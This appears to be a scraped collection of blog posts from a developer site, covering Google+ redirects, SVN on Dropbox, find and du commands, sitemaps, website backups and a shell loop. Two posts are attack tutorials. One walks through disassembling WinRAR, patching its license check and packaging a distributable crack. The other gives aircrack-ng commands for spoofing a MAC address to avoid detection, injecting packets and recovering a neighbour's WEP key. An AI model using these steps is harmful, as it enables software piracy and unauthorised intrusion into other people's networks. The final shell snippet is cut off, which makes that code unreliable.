I loved Google+. After so many failures in Social domain, Google has finally unleashed a product that can definitely take Facebook head on. While I follow closely all the stories about G+ on techmeme, techcrunch etc, overall people are liking this new service and are happy about it.

While its not clear about the total number of users the service have attracted in this first few weeks, estimates are coming that around 10 million people have already signed in and are using it. This makes G+ fastest growing online entity ever.

The integration of G+ with Google toolbar in all the Google properties makes it real accessible. You dont have to be on G+ to use G+. The notification bar is smoothly integrated with the UI.

While people from tech world have started using G+ keenly, there are some like Kevin Rose who have actually forwarded their homepage () to their Google plus profile!!

That inspire me to do something similar.. But I didnt want to forward viralpatel.net to my G+ profile.. So here is a simple trick:

Forward viralpatel.net/+ to my G+ profile!! Isn’t that cool.

It’s dead simple if you can edit your .htaccess file in your root folder of your website. Just copy paste following line of code in .htaccess file of your root folder.

Redirect /+ [your G+ profile url]

For example, my .htaccess file would be:

Redirect /+ https://plus.google.com/112955634181863972829/

That’s it!!! Now just type viralpatel.net/+ in your browser and you are automatically redirected to G+ profile.

One of the interesting usage of Dropbox can be to use it as Subversion Repository to store your projects. We can create a local SVN repository on Dropbox which can be synchronized on Cloud by Dropbox. You can checkout this repository and add your projects / files into it. This way you can access your project anywhere. Also it is possible to share your repository with other users if you want to. Simply by sharing Dropbox folder where you have stored subversion repository can enables you to share it with other users.

Here is an example of hosting a local SVN repository on Dropbox.

Step 1: Create Dropbox repository

cd ~Dropbox
mkdir SVNRepository
cd SVNRepository

If you are using subversion command line utilities in Windows or using Unix box, we can create a new subversion repository by using svnadmin.

svnadmin create .

If you are using TortoiseSVN client then you may want to create repository using following:

Right-click on the newly created folder SVNRepository and select TortoiseSVN → Create Repository here….

We just created a Subversion repository on top of Dropbox folder. Don’t edit those files yourself!!. If you get any errors make sure that the folder is empty and not write protected.

Step 2: Checkout Dropbox repository

Our Dropbox repository is ready and we can do checkin / checkout in this now. Before we add any project / files in this repository, we need to make sure we add proper directory structure in this SVN repository. It is a good practice to divide an SVN repositories in three directory: trunk, branches and tags.

First create a working folder where you want to checkout your SVN repository.

mkdir ~MyWorkspace
cd MyWorkspace
svn checkout file:///~Dropbox/SVNRepository

This will checkout the newly created repository in folder MyWorkspace.

Now create 3 directories in MyWorkspace: trunk, branches and tags and commit the change back to repository.

mkdir trunk
mkdir branches
mkdir tags
svn commit -m "Initial setup (committing trunk, branches, tags)"

Step 3: Checkout Trunk of Dropbox SVN repository

We are done with the setup.. Just checkout the Trunk of this newly created SVN repository and start committing your changes.

svn checkout file:///~Dropbox/SVNRepository/trunk

That’s it. Now you can checkout the SVN repository “file:///~Dropbox/SVNRepository/trunk” anywhere and commit your changes to it. Ofcourse this is now hosted on Dropbox so you can easily synchronize your changes between different computers. You can also share this repository with other Dropbox users letting them SVN your repository access.

Large Files

Find files larger than 10MB in the current directory downwards…

find . -size +10000000c -ls

Find files larger than 100MB…

find . -size +100000000c -ls

Old Files

Find files last modified over 30days ago…

find . -type f -mtime 30 -ls

Find files last modified over 365days ago…

find . -type f -mtime 365 -ls

Find files last accessed over 30days ago…

find . -type f -atime 30 -ls

Find files last accessed over 365days ago…

find . -type f -atime 365 -ls

Find Recently Updated Files

There have been instances where a runaway process is seemingly using up any and all space left on a partition. Finding the culprit file is always useful.

If the file is being updated at the current time then we can use find to find files modified in the last day…

find  . -type f -mtime -1 -ls

Better still, if we know a file is being written to now, we can touch a file and ask the find command to list any files updated after the timestamp of that file, which will logically then list the rogue file in question.

touch testfile
find .  -type f -newer testfile -ls

Finding tar Files

A clean up of redundant tar (backup) files, after completing a piece of work say, is sometimes forgotten. Conversely, if tar files are needed, they can be identified and duly compressed (using compress or gzip) if not already done so, to help save space. Either way, the following lists all tar files for review.

find . -type f -name "*.tar" -ls
find . -type f -name "*.tar.Z" -ls

Large Directories

List, in order, the largest sub-directories (units are in Kb)…

du -sk * | sort -n

Sometimes it is useful to then cd into that suspect directory and re-run the du command until the large files are found.

Removing Files using Find

The above find commands can be edited to remove the files found rather than list them. The “-ls” switch can be changed for “-exec rm {}\;”=.

e.g.

find . -type f -mtime 365 -exec rm {} \;

Running the command with the “-ls” switch first, is always prudent to see what will be removed.

The “-ls” switch prints out summary information about the file (like owner and permissions). If just the filename is required then swap “-ls” switch for “-print”.

Are you using different commands to find a file? Please share it using below comment form.

Disclaimer – By Reading this tutorial You agree that this tutorial is intended for educational purposes only and the author can not be held liable for any kind of damages done whatsoever to your machine, or damages caused by some other, creative application of this tutorial.

In any case you disagree with the above statement, stop here.

The Tools

To perform this hack you will be needing -

1. Any De-assembler (I use Hackers Disassembler and Hview )
2. Resource Hacker
3. A patch Creator ( Use Universal Patch Creator or Code fusion)

You will be able to get them by googling or you can download my set of tools provided.

How to Crack ?

You need to have a bit knowledge of assembly language,and in case you don’t have it,just cram the steps and it will work anytime,every time. Download the latest version of WinRAR from their website and install it.
I will be cracking Winrar 3.80 here (cuz I already have it:P ). This is basically a 2 step process ( 4 step ,if you want to do things with a professional touch,period) .

Now copy the WinRAR.exe file to desktop. Make a copy of it there.

Step 1 – Hunting for Memory Address

Now load Hackers Disasembler and load the copy in it.

The Disassembler will disassemble the executable in assembly code. Now you need to search for strings that are used in WinRAR program. Press Ctrl + F and type “evaluation” without quotes and search in the assembly code. Hit enter…

After you have reached this block of code by searching, just look at the block of code above it. There you will find that some assembly values are being compared and then code is jumped to some other function. Now see carefully, the “evaluation copy” function must be invoked after some specific condition is met. We need to look for it at the code and the make certain changes to the condition so that the program doesn’t checks for the condition.

In the above code you can see this code -

00444B6A: 803DF4B84B0000 cmp byte ptr [004BB8F4], 00
00444B71: 0F859B000000 JNE 00444C12

This is the code responsible for validating you as a legal user . Just note down the memory address that leads to jump (JNE) at some memory location. In this case, note down 00444B71.

Note : For any WinRAR version, this code and memory address might be different,but the JNE will be same. Just note down the respective memory address that checks.

Now you need to search for the code that brings that ugly nag screen “Please purchase WinRAR license” after your trial period of 40 days is over. For this,look over your toolbar and click on “D” which stands for looking for Dialog references.

Now in the dialog box that opens,search for “please” and you will get the reference as -
ID-REMINDER, “Please purchase WinRAR license”

Double click on it and you will reach the subsequent code.

The code will be something like

* String: “REMINDER”
0048731A: 68EB5E4B00 push 004B5EEB

Just note the memory address that invokes the REMINDER dialog. In this case its 0048731A. Note it down.
Note : For any WinRAR version, this code and memory address might be different.But the Reminder Memory address code will always PUSH something. Just note down the respective memory address that PUSH ‘s.

Step 2 – Fixing and Patching

Now in this step we will be patching up values of memory addresses we noted earlier. I will be doing this using HVIEW.
Now load the copy you disassembled in Hacker’s Disassembler in Hview.

After you have loaded it, you will see the code is unreadable. Its just like opening an EXE file in notepad. You need to decode it. To do that, just press F4 and yoiu will get an option to decode it. Hit DECODE and you will be able to see code in the form of assembly code and memory addresses.

After you have done that, you need to search for memory addresses you noted down earlier. Just hit F5 and a search box will be there. Now you need to enter the memory address. To do that, enter a “.” and the type memory address neglecting the earlier “00” . The “.” will suffice for “00”. ie -
Type .444B71 in place of 00444B71

and search in the code.

After you have reached the respective code, you need to make changes to it. Press F3 and you will be able to edit the code.Now make the following changes –

After you have done it, save it by pressing F9.
Now search for next memory location by pressing F5 and entering it. Reach there and make the following changes by pressing F3 -

Save the changes by pressing F9 and exit HVIEW by pressing F10.
Congrats…You have cracked WinRAR Replace the original WinRAR.exe with this copyofwinrar.exe by renaming it. It will work 100% fine

Step 3 – Spicing up the EXE

Now U have a 100% working version of EXE, you might want to change your registration information in WinRAR. TO do this, you can use Resource hacker.

Launch Resource Hacker, load the copyofwinrar.exe in it

Now go to DIALOG –> Expand tree –> ABOUTRARDLG and click it. Now Find Trial copy line and replace it with your favorite one

and click on Compile Script button.

Now save the file with any name on your desktop or any location what so ever.

Now you have a fully patched WinRAR.exe file ) you can either use it, or also can distribute it like a real cracker. If you want to learn that, move on to next step.

Step 4 – Creating a working Patch (or giving Professional touch )

I will be using diablo2oo2′s Universal Patcher (UPE) for creating the patch. The patch will work like any authentic one for that WinRAR version. Just like the one U downloaded at anytime of your life from any Crack and Keygen website.
Launch Patch Creator and click on add new project. Enter project Information and click on save.

Click on Add – > Offset patch

After you have done that, double click on offset patch and then

1. Give path of original winrar.exe
2. Give path of unmodified Winrar.exe (again)
3. Give path for fully patched Winrar.exe (ie Cracked Winrar.exe in this case)
4. Click on compare and it will show difference between both files
5. Click on save.

Now in the next window, click on Create Patch and save it. The Patch will be created. Now copy it in WinRAR installation directory and hit on patch, it WILL

Congrats you have created a patch of your own and have learned to crack WinRAR

You can crack other software in the same way…just practice, debug and disassemble and you will get the way

[PS: The above is the long way to do it, I will be telling you the shortest way to crack WinRAR in just 1 step, the main aim of this tutorial was to introduce you to disassemblers and tools, and do some dirty work with your hand. ]

Cheers

About the Author

Rishabh Dangwal is a freelance security consultant, technoblogger and a student pursuing engineering. His tastes include fiddling with every possible piece of computers and technology he could get his hands on and sharing them to the world.

Disclaimer: This tutorial is given for educational purposes only and that for any misuse of this information; the blogger cannot be held liable.

GETTING BACKTRACK

BackTrack is a slax based top rated Linux live distribution focused on penetration testing which consists of more than 300 up to date tools along with the ability of customizing scripts, configuring and modding kernels which makes it a true gem and a must have for every security enthusiastic out there. The best part – Its free and you can download it from – Remote Exploit

SETTING UP THE CARD AND THE CONSOLE

Boot up Backtrack on your virtual machine/laptop and open up the command console and type the commands as they are given -

ifconfig

This is the Linux equivalent of ipconfig, you will see the network adaptors in your system. See which one is for Wi-Fi. A few examples are wlan0, wifi0, etc.

airmon-ng

This command will initialize the Wi-Fi network monitoring & will tell you how many networks are in range.

airmon-ng stop [Wi-Fi Card name(without the quotes)]

This command will stop the cards broadcast and reception immediately

macchanger –mac [Desired MAC address] [Wi-Fi card name]

This command will change the current MAC address to any MAC address you desire, so that you don’t get caught later

airmon-ng start [Wi-Fi Card name]

You will see another extra adaptor that is set on monitor mode, use that adaptor for all further purposes in the following commands where – “[Wi-Fi card name]” appears

DUMPING PACKETS

Once you have set up all the parameters, you need to sniff and dump data packets in order to get the key. You can do so by using following commands. On the command console type these commands -

airodump-ng [Wi-Fi card name]

Copy and paste the BSSID in the following command and execute it

airodump-ng –c [Channel Number] –w [Desired Filename for later decryption] --bssid [BSSID] [Wi-Fi Card name]

As you execute the command, you will see a certain number of beacons and data packets that will be stored in the filename you have given. The file will be stored in the root of the system drive (Click on Computer and you will see the file).The file will be present in two formats: *.cap, *.txt.

SPEEDING UP THINGS

However packet dumping is quite a slow process, we need to speed up things to save our time. Open new console after the first data packet has been stored and type the command in the new console and execute it.

airreplay-ng -1 0 –a [BSSID] –h [FAKED MAC ADDRESS] -e [Wi-Fi name (you wish to hack)] [Wi-Fi card name]

As you type this command you will see that the data packets required for breaking the key will increase dramatically thereby saving you a lot of time.

REVEALING WEP KEY

Open another console once you have around 20,000 data packets and type the following command to reveal the WEP key.

aircrack-ng –n 64 –b [BSSID] [Filename without the extension]

As you type this command, you will see that a key will appear in front of you in the given below format:
XX:XX:XX:XX

It is not necessary that the key should have exactly the same digits as shown above so please don’t freak out if you see a 10 digit or 14 digit key. Also if the decryption fails, you can change the bit level of the decryption in the command:

aircrack-ng –n [BIT LEVEL] –b [BSSID] [Filename without extension]

Remember, the bit level should be a number of 2n where n:1,2,3,4…
e.g.

aircrack-ng –n 32 –b [BSSID] [Filename without the extension]
OR
aircrack-ng –n 128 –b [BSSID] [Filename without the extension] etc. etc.

Now just login using the WEP key you got.

Cheers..

About the Author

Rishabh Dangwal is a freelance security consultant, technoblogger and a student pursuing engineering. His tastes include fiddling with every possible piece of computers and technology he could get his hands on and sharing them to the world.

For people interested in statistics, here they are. This will be the 220th post on ViralPatel.net, and 848 comments have been left on those posts. Many tutorials/articles has been publised on ViralPatel.net in last one year. Traffic and RSS subscribers continue to grow – there are around 650 RSS and email subscribers based on Feedburner count, and ViralPatel.net serves 120,874 page views per month. As of today, the Alexa rank of this website is 44,530.

Thanks to everyone who made ViralPatel.net possible.

A lot’s changed in the last twelve months. I can only imagine what the next twelve will bring.

Sitemap are the best way to sent notification of your website’s update to different Search Engine. Bots of different Search Engines like Google Bot crawl a website on regular basis and update indexes for the new information. But the way these bots crawl a website and the frequency of crawling remains unpredictable. Thus, if you post new information on your website, it is not sure when will that information is indexed by search engine bots. By generating Sitemap and submitting to search engines such as Google, we can ensure that the update is picked up by the bots at its earliest.

Almost all the content management systems (like Drupal, WordPress, Joomla etc) have plugins to generate sitemap dynamically. All you have to do is just to configure such plugins/addons in your website’s content management system and that’s it.

There are lots of Online tools which can generate sitemap of your website for free. One of such tool is XML-Sitemaps.com. All you have to do is just give your website’s URL to this tool and it will generate a sitemap for all the links/pages of the website.

Structure of Sitemap XML

But while you play with your stable website code, it is always advisable to take backup of your website. The web hosting companies often take backup of the website hosted on their servers, but it is good to keep the backup locally.

Let us see different ways of taking Backup of a website.

Taking Code Backup of Website

A webmaster should often take the code backup of website to avoid any accidental loss of code. Also before every major/minor update in website, the backup of the code should be kept at a safe place. Following are few simple methods of taking website dumps or backup of code.

Full Backup using cPanel

cPanel provides wide variety of useful features to take backups of websites. One of such feature is Backup Wizard.

Goto cPanel -> Files -> Backup Wizard

You can take backup of the code, database, email filter configuration etc using this wizard.

Backup using FTP

FTP can be used to take backup of your website code. Lot of FTP clients are available which can be used to connect to a website using FTP and take the backup. My favorites are FileZilla and FireFTP (FireFTP is the popular Firefox extension).

Database Backup using PHPMyAdmin

PHPMyAdmin is a great MySQL frontend client which is already installed with cPanel. PHPMyAdmin can be used to take database backups directly.

Select PHPMyAdmin from your cPanel and select all the tables that you need to take backup of. Then click on Export and save the exported file in your machine. Database backup should be taken before any of the major updates in the website.

Automatic WordPress Database Backup using plugin

If you are using WordPress as your website CMS/Blogging software, you may want to take advantage of WP-DBManager, a cool wordpress plugin that take cares of the database backup.
WP-DBManager provides a number of options including optimize database, repair database, backup database, restore database, delete backup database , drop/empty tables and run selected queries. It also supports automatic scheduling of backing up and optimizing of database.

Automatic Database Backup using Cron Job

Cron Jobs are great way of scheduling daily task in your Webhosting space which can be configured to run at particular interval of time. You may want to schedule a Cron Job which automatically takes database backup on daily basis.

Here is a DB backup script that can be used for daily automatic DB backups. This script can backup multiple DBs at the same time. The script below is set to backup 2 DBs. If you want to backup more just copy and paste the bottom section and change info to match that DB. If you just want to backup just 1 DB then delete the second section of the bottom section of the script.The functions of the script are commented in the script.
Here are the steps to configure the automatic backup.

1. Create a folder on the root of your web space called backups (don’t place this in the public_html directory. It belongs just about that in the directory structure)
2. Create a folder named database_backups in the backups folder you just created.
3. create a folder named the same as your DB in the database_backups folder you just created.
4. Replace all of the text in the script enclosed in ” ” with your specific info.
5. Save the db_dump script and place in the backups folder you created.
6. CHMOD (permission) all files and folders in the backup directory to 700 including the backup directory
7. Creat a CRON job in cPanel to execute this script. Go to the CRON tab in cPanel and click on advanced. Place this text in the command line replacing (“accountname”) /home/”accountname”/backups/db_dump.txt
8. Change the CRON time to run at your desired time and press commit changes

#==============================================
#Save the script below as db_dump.txt
#==============================================

#!/bin/bash

# Script Created by Fernis
# Last edited 8/25/07 by Fernis

# Script Function:
# This bash script backups up the "DBname" and "DBname" db everyday at 4am with a file name time stamp and tar.gz zips the file.
# The "DBname" db will be saved in /backups/database_backups/"DBname"/
# The "DBname" db will be stored in /backups/database_backups/"DBname"/
# Db backups older than 30 days will be deleted.

#[Changes Directory]
cd /home/"accountname"/backups/

#[Old DB Deletion Script]
find /home/"accountname"/backups/database_backups -name "*.tar.gz" -mtime +30 -exec rm -f {} \;

#[Stamps the file name with a date]
TIMESTAMP=`date +%m-%d-%y-%H%M`

#[DB Backup Scripts]

# "DBname"
HOST=localhost
DBNAME="DBname"
USER="DBusername"
PASSWORD="DBpassword"
DUMP_PATH=/home/"accountname"/backups/database_backups/"DBname"
mysqldump --opt -c -e -Q -h$HOST -u$USER -p$PASSWORD $DBNAME > $DBNAME.sql
tar czpf $DUMP_PATH/$DBNAME.$TIMESTAMP.tar.gz $DBNAME.sql
rm -f $DBNAME.sql

# "DBname"
HOST=localhost
DBNAME="DBname"
USER="DBusername"
PASSWORD="DBpassword"
DUMP_PATH=/home/"accountname"/backups/database_backups/"DBname"
mysqldump --opt -c -e -Q -h$HOST -u$USER -p$PASSWORD $DBNAME > $DBNAME.sql
tar czpf $DUMP_PATH/$DBNAME.$TIMESTAMP.tar.gz $DBNAME.sql
rm -f $DBNAME.sql

#=======================================
#END OF BACKUP SCRIPT
#=======================================

Gartner’s Hype Cycle characterizes the typical progression of an emerging technology, from over enthusiasm through a period of disillusionment to an eventual understanding of the technology’s relevance and role in a market or domain.

Also, It has a very interesting depiction which can be useful to decide “Which Technologies to Invest In & How”… It’s called Priority Matrix.

The Priority Matrix is a tool for prioritizing emerging technologies by forcing technology planners to look beyond the hype and assess technology opportunities in terms of their relative impact on the enterprise and the timing of that impact.

So how to accomplish the above task in Unix Shell Script?

Well the solution is simple:

cd source/
for file in *.txt
do
   mv "${file}" ../destination/"${file}.backup"

Run a loop for each txt file in source/ directory and call mv command with parameters.

Does the above problem have a simpler solution than this?